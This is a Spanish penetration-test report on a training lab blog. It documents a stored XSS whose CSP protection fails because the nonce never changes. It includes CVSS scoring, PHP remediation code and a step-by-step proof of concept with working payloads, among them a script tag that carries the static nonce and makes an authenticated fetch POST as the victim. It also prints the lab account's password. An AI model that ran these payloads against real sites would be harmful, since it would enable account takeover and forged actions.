🔒 CONFIDENCIAL

Reporte de Vulnerabilidad

XSS almacenado con bypass de Content Security Policy por nonce estático/ predecible

ID del Ticket	**VULN-2026-014**
Activo evaluado	**Aplicación web «El Blog de Pepe (segurizado)» (Lab Blog v2)**
Severidad	**ALTA** **CVSS v3.1 8.8**
Tipo	**Stored XSS + bypass de CSP (nonce estático) — CWE-79 / CWE-330 / CWE-693**
Cliente	**Software Seguro — Laboratorio El Blog de Pepe (segurizado)**
Analista	**J. M. F. · jmf01111974@gmail.com**
Fecha del reporte	**09 de noviembre de 2026**
Versión	**1.0**

Contenido

1. Resumen Ejecutivo pág. 2
2. Detalles Técnicos pág. 2
3. Métricas CVSS pág. 4
4. Prueba de Concepto (PoC) pág. 5
5. Recomendaciones de Remediación pág. 6
6. Referencias e Historial pág. 8

Este documento contiene información sensible sobre vulnerabilidades de seguridad. Su distribución está restringida al personal autorizado del cliente. Las pruebas se realizaron sobre un entorno de laboratorio con autorización explícita.

1. Resumen Ejecutivo

> Audiencia: dirección y responsables de negocio. Redactado sin tecnicismos.

¿Qué encontramos?

En esta versión "reforzada" del blog, el equipo agregó una protección del navegador (**Content Security Policy, CSP**) que debería impedir que se ejecute código inyectado en los comentarios. Sin embargo, esa protección usa una "llave de un solo uso" (un *nonce*) que en realidad es **siempre la misma**. Como esa llave es fija y queda a la vista, se la pudimos copiar y **volver a ejecutar el ataque**, logrando igual que el blog publicara un comentario en nombre de su dueño.

¿Por qué importa para el negocio?

La protección agregada da una **falsa sensación de seguridad**: está activa, pero mal configurada, por lo que **no protege**. El resultado es el mismo que sin ella: un atacante ejecuta código en la sesión de la víctima, puede **actuar en su nombre** (aquí, publicar un comentario como el dueño), robar su sesión o suplantarla. En un entorno real implica toma de control de cuentas —incluidas las privilegiadas— y publicación de contenido falso atribuido a terceros, con el consiguiente daño reputacional, fraude y responsabilidad legal.

¿Qué tan grave es?

Severidad ALTA — CVSS 8.8. La CSP eleva ligeramente la complejidad, pero al ser el *nonce* estático la barrera se sortea de forma trivial. Durante la prueba, el primer intento (manejador `onerror`) fue bloqueado por la CSP —que además reveló el nonce—, y reinyectando un `<script>` con ese nonce el ataque se ejecutó: el blog publicó por la víctima el comentario objetivo, obteniéndose el código de verificación del laboratorio.

¿Qué hay que hacer?

El *nonce* de la CSP debe ser **aleatorio y distinto en cada carga de página**, nunca fijo. Y, sobre todo, la corrección de fondo sigue siendo **escapar el contenido de los comentarios** para que no se ejecute código: la CSP es una capa adicional, no el arreglo principal.

Riesgo	Probabilidad	Impacto	Urgencia de acción
Ejecución de acciones y toma de cuentas por XSS almacenado, con la CSP anulada por un nonce estático	Alta	Alto	**Inmediata**

2. Detalles Técnicos

> Audiencia: equipo de desarrollo y administradores de la plataforma.

2.1 Descripción de la vulnerabilidad

El blog mantiene el **XSS almacenado** en los comentarios (el contenido se renderiza sin codificación de salida, CWE-79). Como mitigación se incorporó una **Content Security Policy** basada en nonce:

```
Content-Security-Policy: script-src 'strict-dynamic' 'nonce-NDM5OTA='
```

Esta CSP bloquea correctamente los manejadores de evento inline (`script-src-attr`), por lo que el payload clásico `<img src=x onerror="...">` deja de ejecutarse. Sin embargo, el **nonce es estático**: se repite idéntico (`NDM5OTA=`) en cada respuesta, en lugar de generarse aleatorio por petición. Al ser predecible y quedar expuesto en la propia política, un atacante inyecta un `<script>` con ese nonce, que la CSP considera legítimo (y con `'strict-dynamic'`, además, confiable). La protección queda **anulada** (CWE-330: valores insuficientemente aleatorios; CWE-693: fallo del mecanismo de protección).

El impacto final es el mismo del XSS original: el script ejecuta una **petición autenticada en nombre de la víctima** (`fetch()` con `credentials:'include'` a `/comentarios.php`), publicando un comentario como el usuario que visualiza la página (el dueño del blog, `pepe`).

2.2 Flujo del ataque

- El atacante, con cuenta de comentar (`teny`), intenta el payload `<img onerror>`; la CSP lo bloquea y en la consola expone la directiva con el nonce `NDM5OTA=`.
- Observa que el nonce es siempre el mismo (estático) en cada carga.
- Publica un comentario con un `<script nonce="NDM5OTA=">` que contiene el `fetch()` autenticado.
- Cuando la víctima (`pepe`) abre el blog, el script —validado por la CSP— se ejecuta y publica el comentario a su nombre; se obtiene el código.

2.3 Clasificación

Categoría	Referencia
Tipo (CWE)	CWE-79 — Cross-site Scripting (Stored) · CWE-330 — Use of Insufficiently Random Values (nonce estático) · CWE-693 — Protection Mechanism Failure (CSP inefectiva) · CWE-352 — Cross-Site Request Forgery (acción forzada)
Subtipo	Bypass de CSP por nonce predecible/estático, habilitando XSS almacenado con acción autenticada
OWASP Top 10 (2021)	A03:2021 — Injection (XSS) · A05:2021 — Security Misconfiguration (CSP mal configurada)
OWASP WSTG	WSTG-INPV-02 — Stored XSS · WSTG-CONF — Content Security Policy
CVE	No aplica (defecto propio de la aplicación/configuración, no de un componente de terceros)

2.4 Activos y alcance afectado

Elemento	Detalle
Aplicación	«El Blog de Pepe (segurizado)» (Lab Blog v2)
Host	`chl-<instancia>-blog-pepe-seg.softwareseguro.com.ar` (el subdominio se asigna por instancia/sesión)
Punto vulnerable	Módulo de comentarios (`txtComentario`), renderizado sin escapar
Control eludido	CSP `script-src 'strict-dynamic' 'nonce-NDM5OTA='` con nonce estático
Endpoint de acción	`POST /comentarios.php` (sin protección anti-CSRF efectiva)
Alcance	

	Ejecución en el contexto/sesión de cualquier usuario que vea el comentario, incluido el dueño del blog

2.5 Causa raíz

Doble defecto. (1) **Causa de fondo**: los comentarios se renderizan sin codificación de salida, permitiendo XSS almacenado. (2) **La mitigación falla**: la CSP usa un **nonce estático** en vez de uno criptográficamente aleatorio y único por respuesta; un nonce predecible deja de ser un secreto y cualquiera puede "firmar" su script con él. El propósito del nonce —autorizar solo scripts legítimos generados por el servidor— se pierde por completo. Falta, además, protección anti-CSRF en la acción de publicar.

3. Métricas CVSS

Puntuación objetiva y reproducible del riesgo técnico, según CVSS v3.1.

CVSS Base Score	Severidad	Vector
8.8	ALTA	`CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N`

Desglose del vector (métricas base)

Métrica	Valor	Justificación
Attack Vector (AV)	**Network (N)**	Se explota de forma remota a través de Internet (HTTP/HTTPS).
Attack Complexity (AC)	**Low (L)**	La CSP no añade complejidad real: el nonce estático queda expuesto y se reutiliza directamente.
Privileges Required (PR)	**Low (L)**	Se requiere una cuenta con permiso para comentar (p. ej. `teny`).
User Interaction (UI)	**Required (R)**	La víctima debe visualizar el comentario almacenado para que el script se ejecute.
Scope (S)	**Changed (C)**	El código se ejecuta en el navegador/sesión de la víctima, un ámbito distinto al del servidor.
Confidentiality (C)	**High (H)**	Posible robo de sesión/cookies y datos de la víctima en el contexto del sitio.
Integrity (I)	**High (H)**	Ejecuta acciones autenticadas en nombre de la víctima (publica como el dueño del blog).
Availability (A)	**None (N)**	No afecta la disponibilidad del servicio.

Nota de criterio: la puntuación coincide con la del XSS almacenado base (8.8) porque la CSP, al tener nonce estático, **no reduce el riesgo** en la práctica. Una CSP correctamente implementada (nonce aleatorio por respuesta) subiría la complejidad del ataque (`AC:H`) y bajaría el puntaje; aquí no aplica. El hallazgo principal de este reporte es, precisamente, la **inefectividad del control**.

Verificable en la calculadora oficial: https://www.first.org/cvss/calculator/3.1

4. Prueba de Concepto (PoC)

Reproducción paso a paso. Cualquier técnico con una cuenta del laboratorio puede replicar el hallazgo.

4.1 Requisitos previos

- Cuenta con permiso para comentar: usuario `teny` / clave `Teny1805`.
- Un navegador web (con consola de desarrollador) o Burp Suite.
- El mecanismo del laboratorio para que la víctima (`pepe`) visite el blog (ingeniería social provista; no es parte de la vulnerabilidad evaluada).

4.2 Pasos de reproducción

Paso 1 — Intentar el payload clásico y observar el bloqueo de la CSP. El manejador inline es rechazado y la consola revela la directiva con el nonce.

```
<img src=x onerror="fetch('/comentarios.php',{method:'POST',credentials:'include',
  headers:{'Content-Type':'application/x-www-form-urlencoded'},
  body:'txtComentario=Voy%20a%20derogar%20la%20ley%201542-A&btnEnviar=Enviar'})">

# Consola: violación de CSP (script-src-attr) — directiva:
#   script-src 'strict-dynamic' 'nonce-NDM5OTA='
```

Evidencia 1 — La CSP bloquea el `onerror` inline y expone el nonce `NDM5OTA=`.

Paso 2 — Confirmar que el nonce es estático. Recargar la página varias veces y verificar que el valor del nonce en la cabecera `Content-Security-Policy` **no cambia** (siempre `NDM5OTA=`).

Evidencia 2 — El nonce se repite entre respuestas: es predecible, no cumple su función de secreto por petición.

Paso 3 — Reinyectar con un `<script>` que porte el nonce. La CSP lo acepta como script legítimo.

```
<script nonce="NDM5OTA=">fetch('/comentarios.php',{method:'POST',credentials:'include',
  headers:{'Content-Type':'application/x-www-form-urlencoded'},
  body:'txtComentario=Voy%20a%20derogar%20la%20ley%201542-A&btnEnviar=Enviar'})</script>
```

Evidencia 3 — El `<script>` con el nonce estático se ejecuta: bypass de CSP confirmado.

Paso 4 — Provocar la visita de la víctima y ejecutar en su sesión. Mediante la funcionalidad del laboratorio, hacer que `pepe` ingrese; al cargar la página, su navegador ejecuta el script y envía el `POST` autenticado, publicando el comentario a su nombre.

Evidencia 4 — Aparece un comentario de `pepe` con el texto "Voy a derogar la ley 1542-A".

Paso 5 — Verificación del impacto. Actualizar la página: el comentario forzado está publicado como la víctima y el laboratorio entrega el código.

```
# Código de verificación obtenido:
#   c4c309a13c8fc4c5f48e72e4154dc812
```

> Nota técnica: el mismo bypass habilita acciones de mayor impacto (robo de `document.cookie` si la sesión no es `HttpOnly`, exfiltración, cambios de configuración). La PoC se limitó a publicar el comentario objetivo.

4.3 Resultado esperado vs. obtenido

Esperado (sistema seguro)	Obtenido (sistema vulnerable)
Comentarios escapados (sin ejecución) y CSP con nonce aleatorio por respuesta: un `<script>` inyectado no tendría un nonce válido y sería bloqueado.	El comentario ejecuta JavaScript porque el `<script>` reutiliza el nonce estático de la CSP.

> ⚠ Nota ética: la PoC se ejecutó únicamente sobre el entorno de laboratorio autorizado. No se atacó la funcionalidad de ingeniería social (provista por el laboratorio) ni se realizaron acciones fuera del objetivo del desafío.

5. Recomendaciones de Remediación

> Audiencia: equipo de desarrollo que implementará la corrección.

5.1 Solución recomendada (prioritaria)

1) Escapar el contenido de los comentarios (corrección de fondo). La CSP es defensa en profundidad, no el arreglo principal: eliminar el XSS codificando la salida.

```
# VULNERABLE (PHP): imprime el comentario sin escapar
echo "<div>" . $comentario . "</div>";

# CORREGIDO: escapar la salida a HTML
echo "<div>" . htmlspecialchars($comentario, ENT_QUOTES, 'UTF-8') . "</div>";
```

2) Nonce de CSP aleatorio y único por respuesta. Generar el nonce con un CSPRNG en cada petición y usar ese mismo valor en la cabecera y en las etiquetas `<script>` legítimas. Nunca fijarlo ni reutilizarlo.

```
# VULNERABLE: nonce fijo reutilizado en cada respuesta
$nonce = "NDM5OTA=";                          // <- estático = predecible

# CORREGIDO: nonce aleatorio por petición
$nonce = base64_encode(random_bytes(16));      // CSPRNG, único por respuesta
header("Content-Security-Policy: script-src 'strict-dynamic' 'nonce-$nonce'");
// y emitir los scripts propios con ese mismo $nonce
```

5.2 Defensa en profundidad

- **Tokens anti-CSRF** en `/comentarios.php` y toda acción de cambio de estado, validados en el servidor.
- **Cookies con** `HttpOnly`, `Secure` y `SameSite` (limita robo de sesión y peticiones forzadas).
- **Revisar la CSP completa**: evitar `'unsafe-inline'` / `'unsafe-hashes'` y comprender las implicancias de `'strict-dynamic'`.
- **Saneamiento** con allow-list (DOMPurify) si se permite formato enriquecido en comentarios.
- **Revisión de todos los puntos** que almacenan y muestran contenido de usuario.

5.3 Plan de acción

Acción	Responsable	Prioridad	Plazo	Estado
Escapar la salida de los comentarios (corrección de fondo del XSS)	Equipo de desarrollo	Crítica	Inmediato	Pendiente
Generar el nonce de CSP aleatorio y único por respuesta (CSPRNG)	Equipo de desarrollo	Crítica	Inmediato	Pendiente
Tokens anti-CSRF y cookies HttpOnly/Secure/SameSite	Desarrollo / Infraestructura	Alta	7–15 días	Pendiente
Auditar la CSP completa y el saneamiento de comentarios	Desarrollo / SecOps	Alta	15–30 días	Pendiente
Test de regresión (payload con nonce = bloqueado) y re-test	QA / Seguridad	Alta	Con el fix	Pendiente

5.4 Verificación (re-test)

Confirmar que el contenido de comentarios se renderiza escapado (un `<script>` o `<img onerror>` se muestra como texto), que el nonce de la CSP **cambia en cada carga** y es impredecible, y que un `<script>` inyectado con un nonce reutilizado/adivinado **es bloqueado**. Verificar además que `/comentarios.php` exige token anti-CSRF. Confirmar que el comentar legítimo sigue funcionando.

> ✔ Criterio de cierre: el ticket se marca como *Cerrado* cuando el re-test confirma que el XSS ya no se ejecuta y que la CSP, con nonce aleatorio por respuesta, bloquea los scripts inyectados, sin regresiones en la funcionalidad legítima.

6. Referencias e Historial

Referencias

- OWASP Top 10 (2021) — A03 Injection: https://owasp.org/Top10/A03_2021-Injection/
- OWASP Top 10 (2021) — A05 Security Misconfiguration: https://owasp.org/Top10/A05_2021-Security_Misconfiguration/
- CWE-79 — Cross-site Scripting: https://cwe.mitre.org/data/definitions/79.html
- CWE-330 — Use of Insufficiently Random Values: https://cwe.mitre.org/data/definitions/330.html
- CWE-693 — Protection Mechanism Failure: https://cwe.mitre.org/data/definitions/693.html
- CWE-352 — Cross-Site Request Forgery (CSRF): https://cwe.mitre.org/data/definitions/352.html
- MDN — CSP: nonce / Google — Strict CSP: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy
- OWASP — Content Security Policy Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html
- CVSS v3.1 Calculator (FIRST): https://www.first.org/cvss/calculator/3.1

Historial de cambios

Versión	Fecha	Autor	Cambio
1.0	2026-11-09	J. M. F.	Creación del reporte: bypass de CSP por nonce estático que reactiva el XSS almacenado con acción autenticada en el blog "segurizado".

🔒 Documento confidencial — uso interno / cliente autorizado únicamente. Las pruebas se realizaron en un entorno de laboratorio con autorización explícita.